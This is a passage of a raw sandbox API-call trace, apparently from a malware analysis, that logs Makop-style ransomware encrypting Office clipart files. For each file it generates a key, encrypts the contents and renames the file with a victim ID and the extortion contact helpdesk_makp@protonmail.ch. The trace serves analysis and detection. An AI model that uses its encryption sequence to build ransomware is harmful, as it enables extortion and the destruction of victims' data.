110 [0138.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.732] CloseHandle (hObject=0xf0) returned 1 [0138.732] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1 [0138.732] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG") returned 63 [0138.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.733] GetProcessHeap () returned 0x48a0000 [0138.733] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.733] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0138.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.738] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.738] GetProcessHeap () returned 0x48a0000 [0138.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.738] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.739] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.739] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.739] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19a5d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19a5d, lpOverlapped=0x0) returned 1 [0138.742] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19a60, dwBufLen=0x19a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19a60) returned 1 [0138.744] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.744] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19a60, lpOverlapped=0x0) returned 1 [0138.745] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x19b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.745] SetEndOfFile (hFile=0xf0) returned 1 [0138.753] GetProcessHeap () returned 0x48a0000 [0138.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.753] GetProcessHeap () returned 0x48a0000 [0138.753] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.753] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.755] CloseHandle (hObject=0xf0) returned 1 [0138.755] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1 [0138.755] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG") returned 63 [0138.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.756] GetProcessHeap () returned 0x48a0000 [0138.756] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.756] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0138.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.760] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.760] GetProcessHeap () returned 0x48a0000 [0138.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.761] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.761] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.762] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.762] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17742, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17742, lpOverlapped=0x0) returned 1 [0138.765] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17750, dwBufLen=0x17750 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17750) returned 1 [0138.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17750, lpOverlapped=0x0) returned 1 [0138.767] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.767] SetEndOfFile (hFile=0xf0) returned 1 [0138.774] GetProcessHeap () returned 0x48a0000 [0138.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.774] GetProcessHeap () returned 0x48a0000 [0138.774] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.775] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.776] CloseHandle (hObject=0xf0) returned 1 [0138.777] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1 [0138.777] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 62 [0138.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.778] GetProcessHeap () returned 0x48a0000 [0138.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0138.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.782] GetProcessHeap () returned 0x48a0000 [0138.782] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.783] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.783] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.783] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.784] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.784] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.784] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2645, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2645, lpOverlapped=0x0) returned 1 [0138.787] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2650, dwBufLen=0x2650 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2650) returned 1 [0138.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2650, lpOverlapped=0x0) returned 1 [0138.788] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.788] SetEndOfFile (hFile=0xf0) returned 1 [0138.794] GetProcessHeap () returned 0x48a0000 [0138.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.795] GetProcessHeap () returned 0x48a0000 [0138.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.795] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0138.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.796] CloseHandle (hObject=0xf0) returned 1 [0138.796] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNGLE_01.MID", cAlternateFileName="")) returned 1 [0138.797] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0138.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.797] GetProcessHeap () returned 0x48a0000 [0138.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.797] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.798] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0138.802] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.802] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.802] GetProcessHeap () returned 0x48a0000 [0138.802] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.802] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.803] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.804] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.804] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.804] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16d3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16d3, lpOverlapped=0x0) returned 1 [0138.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16e0) returned 1 [0138.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16e0, lpOverlapped=0x0) returned 1 [0138.806] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17b4, 